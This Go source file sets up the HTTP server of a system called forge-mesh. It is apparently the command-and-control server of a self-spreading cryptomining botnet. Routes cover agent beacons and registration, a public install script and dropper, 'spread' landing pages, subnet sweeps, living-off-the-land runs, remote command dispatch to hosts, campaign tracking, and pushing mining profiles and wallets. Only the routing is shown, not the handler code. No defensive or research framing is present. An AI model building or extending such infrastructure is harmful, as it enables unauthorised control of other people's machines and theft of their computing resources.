package api import ( "database/sql" "io" "io/fs" "net/http" "os" "path/filepath" "strings" "time" "forge-mesh/internal/alerts" "forge-mesh/internal/api/handlers" "forge-mesh/internal/auth" "forge-mesh/internal/config" "forge-mesh/internal/court" "forge-mesh/internal/erasure" "forge-mesh/internal/fleet" "forge-mesh/internal/forge" ) // Server is the forge-mesh HTTP control plane. type Server struct { cfg *config.Config mux http.Handler staticFS fs.FS } // NewServer wires routes, fleet hub, and static SPA handler. func NewServer( cfg *config.Config, db *sql.DB, staticFS fs.FS, version, installTmplPath, publicKeyHex string, ) (*Server, error) { store := fleet.NewStore(db) _ = store.SeedDemoHost() tickets := auth.NewTicketStore(5 * time.Minute) hub := fleet.NewHub(store, cfg.Auth.FleetSecret, tickets) crucible := fleet.NewCrucibleStore(100) tgCfg := alerts.Config{ Enabled: cfg.Telegram.Enabled, BotToken: cfg.Telegram.BotToken, ChatID: cfg.Telegram.ChatID, } notifier := alerts.New(tgCfg) public, err := handlers.NewPublicHandlers(db, cfg.Forge.ArtifactsDir, publicKeyHex, installTmplPath) if err != nil { return nil, err } public.FleetSecret = cfg.Auth.FleetSecret public.Version = version pipeline, err := forge.NewPipeline(db, cfg.Forge.ArtifactsDir, cfg.Forge.SigningKeyPath, filepath.Join("cmd", "agent"), version) if err != nil { return nil, err } clearance := cfg.OperatorClearance fleetH := &handlers.FleetHandler{ Store: store, Hub: hub, Alerts: notifier, Cfg: cfg, OperatorClearance: clearance, } crucibleH := &handlers.CrucibleHandler{ Store: store, Hub: hub, Crucible: crucible, Alerts: notifier, OperatorClearance: clearance, } policyH := &handlers.PolicyHandler{Cfg: cfg, Store: store} forgeH := &handlers.ForgeHandler{DB: db, Pipeline: pipeline, Version: version} seerH := &handlers.SeerHandler{ Store: store, Username: cfg.Auth.BasicUsername, Password: cfg.Auth.BasicPassword, } authH := &handlers.AuthHandlers{Tickets: tickets} opH := &handlers.OperatorHandler{Clearance: clearance} dropperH := &handlers.DropperHandler{ DB: db, PublicKeyHex: publicKeyHex, FleetSecret: cfg.Auth.FleetSecret, Version: version, } erasureH := &handlers.ErasureHandler{Service: erasure.NewService(db)} policySnapH := &handlers.PolicySnapshotHandler{DB: db} warRoomH := &handlers.WarRoomHandler{DB: db} wgH := &handlers.WireGuardHandler{DB: db} crucibleLegacy := &handlers.CrucibleLegacy{CrucibleHandler: crucibleH} courtSvc := court.New(db, cfg.Court, store) intelDeps := handlers.IntelligenceDeps{ Store: store, Subnet: &fleet.SubnetMapper{Store: store}, Earn: &fleet.EarnGate{Store: store, Config: fleet.DefaultEarnConfig()}, } courtDeps := handlers.CourtDeps{Court: courtSvc, Seer: court.NewSeerHub(db)} mux := http.NewServeMux() // Public mux.HandleFunc("GET /api/v1/health", handlers.Health(version)) mux.HandleFunc("GET /install.sh", public.InstallSh) mux.HandleFunc("GET /get", public.GetRedirect) mux.HandleFunc("GET /spread/", handlers.SpreadLander(db)) mux.HandleFunc("GET /spread", handlers.SpreadLander(db)) mux.HandleFunc("GET /api/v1/public/builds", handlers.PublicBuildsList(db)) mux.HandleFunc("GET /api/v1/public/builds/latest", public.LatestBuild) mux.HandleFunc("GET /api/v1/public/download/{id}", public.Download) mux.HandleFunc("GET /api/v1/public/erasure/{bundle_id}", erasureH.GetBundle) mux.HandleFunc("GET /api/v1/public/erasure/{bundle_id}/shard/{index}", erasureH.GetShard) mux.HandleFunc("GET /api/v1/public/policy-snapshot/{token}", policySnapH.Get) mux.HandleFunc("GET /api/v1/public/campaign/track", handlers.TrackCampaign(db)) // Agent (fleet secret) mux.Handle("POST /api/v1/beacon", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret, http.HandlerFunc(hub.HandleBeacon(store)))) mux.Handle("POST /api/v1/fleet/beacon", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret, http.HandlerFunc(hub.HandleBeacon(store)))) mux.Handle("POST /api/v1/fleet/register", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret, http.HandlerFunc(fleetH.Register))) mux.HandleFunc("GET /api/v1/ws/agent", hub.HandleAgentWS) mux.HandleFunc("GET /api/v1/ws/fleet", func(w http.ResponseWriter, r *http.Request) { if r.URL.Query().Get("ticket") != "" { hub.HandleDeckWS(w, r) return } hub.HandleAgentWS(w, r) }) // Protected (Basic auth) protected := http.NewServeMux() protected.HandleFunc("GET /api/v1/fleet", fleetH.List) protected.HandleFunc("GET /api/v1/fleet/hosts", fleetH.List) protected.HandleFunc("GET /api/v1/fleet/{id}/lotl/timeline", fleetH.LOTLTimeline) protected.HandleFunc("GET /api/v1/fleet/{id}/timeline", handlers.Timeline(courtDeps)) protected.HandleFunc("POST /api/v1/fleet/{id}/lotl/run", handlers.RunLOTL(intelDeps)) protected.HandleFunc("GET /api/v1/fleet/{id}/spread-gate", handlers.SpreadGate(intelDeps)) protected.HandleFunc("GET /api/v1/fleet/subnets", handlers.SubnetList(intelDeps)) protected.HandleFunc("POST /api/v1/fleet/subnets", handlers.SubnetAdd(intelDeps)) protected.HandleFunc("POST /api/v1/fleet/subnets/sweep", handlers.SubnetSweep(intelDeps)) protected.HandleFunc("POST /api/v1/court/sessions", handlers.CourtOpen(courtDeps)) protected.HandleFunc("POST /api/v1/court/sessions/{id}/deliberate", handlers.CourtDeliberate(courtDeps)) protected.HandleFunc("POST /api/v1/court/sessions/{id}/verdict", handlers.CourtVerdict(courtDeps)) protected.HandleFunc("POST /api/v1/fleet/{id}/command", fleetH.Command) protected.HandleFunc("POST /api/v1/fleet/{id}/action", fleetH.HostAction) protected.HandleFunc("POST /api/v1/fleet/{id}/mining-profile", fleetH.PushMiningProfile) protected.HandleFunc("GET /api/v1/dropper", dropperH.Info) protected.HandleFunc("GET /api/v1/operator/me", opH.Me) protected.HandleFunc("POST /api/v1/ws/ticket", authH.WSTicket) protected.HandleFunc("GET /api/v1/forge/builds", forgeH.ListBuilds) protected.HandleFunc("POST /api/v1/forge/builds/trigger", forgeH.TriggerBuild) protected.HandleFunc("GET /api/v1/policy/wallet", policyH.GetWallet) protected.HandleFunc("PUT /api/v1/policy/wallet", policyH.PutWallet) protected.HandleFunc("GET /api/v1/policy/mining-profile", policyH.GetMiningProfile) protected.HandleFunc("PUT /api/v1/policy/mining-profile", policyH.PutMiningProfile) protected.HandleFunc("POST /api/v1/policy/snapshot", policySnapH.Create) protected.HandleFunc("GET /api/v1/calibrate/profiles", handlers.CalibrateProfiles(cfg)) protected.HandleFunc("POST /api/v1/crucible/batch", crucibleLegacy.Batch) protected.HandleFunc("GET /api/v1/crucible/batch/{id}", crucibleLegacy.BatchGet) protected.HandleFunc("POST /api/v1/crucible/exec", crucibleLegacy.Exec) protected.HandleFunc("POST /api/v1/crucible/dispatch", crucibleH.Dispatch) protected.HandleFunc("GET /api/v1/crucible/jobs/{id}", crucibleH.GetJob) protected.HandleFunc("GET /api/v1/crucible/history", crucibleH.History) protected.HandleFunc("GET /api/v1/seer", handlers.SeerAPIStream(store, cfg.Auth.BasicUsername, cfg.Auth.BasicPassword)) protected.HandleFunc("GET /api/v1/war-room/campaigns", warRoomH.ListCampaigns) protected.HandleFunc("GET /api/v1/wireguard/peers", wgH.ListPeers) protected.HandleFunc("POST /api/v1/wireguard/peers", wgH.CreatePeer) protected.HandleFunc("GET /api/v1/wireguard/config", wgH.RenderConfig) protected.HandleFunc("GET /seer", seerH.Stream) authWrap := auth.BasicAuthMiddleware(cfg.Auth.BasicUsername, cfg.Auth.BasicPassword) mux.Handle("/api/v1/", authWrap(protected)) mux.Handle("/seer", authWrap(http.HandlerFunc(seerH.Stream))) // Static SPA (React build embedded in webroot) if staticFS != nil { fileServer := http.FileServer(http.FS(staticFS)) mux.Handle("/", spaFallback(staticFS, fileServer)) } return &Server{cfg: cfg, mux: mux, staticFS: staticFS}, nil } func (s *Server) Handler() http.Handler { return s.mux } func spaFallback(staticFS fs.FS, next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { if strings.HasPrefix(r.URL.Path, "/api/") || r.URL.Path == "/install.sh" || r.URL.Path == "/get" || strings.HasPrefix(r.URL.Path, "/spread") { http.NotFound(w, r) return } path := strings.TrimPrefix(r.URL.Path, "/") if path == "" { path = "index.html" } if _, err := fs.Stat(staticFS, path); err != nil { // Client-side route — serve index.html if data, err := fs.ReadFile(staticFS, "index.html"); err == nil { w.Header().Set("Content-Type", "text/html; charset=utf-8") w.Write(data) return } } next.ServeHTTP(w, r) }) } // SyncWebroot copies web/dist into cmd/server/webroot for go:embed. func SyncWebroot(distDir, webrootDir string) error { if err := os.RemoveAll(webrootDir); err != nil { return err } return copyDir(distDir, webrootDir) } func copyDir(src, dst string) error { return filepath.Walk(src, func(path string, info os.FileInfo, err error) error { if err != nil { return err } rel, err := filepath.Rel(src, path) if err != nil { return err } target := filepath.Join(dst, rel) if info.IsDir() { return os.MkdirAll(target, 0o755) } return copyFile(path, target) }) } func copyFile(src, dst string) error { if err := os.MkdirAll(filepath.Dir(dst), 0o755); err != nil { return err } in, err := os.Open(src) if err != nil { return err } defer in.Close() out, err := os.Create(dst) if err != nil { return err } defer out.Close() _, err = io.Copy(out, in) return err }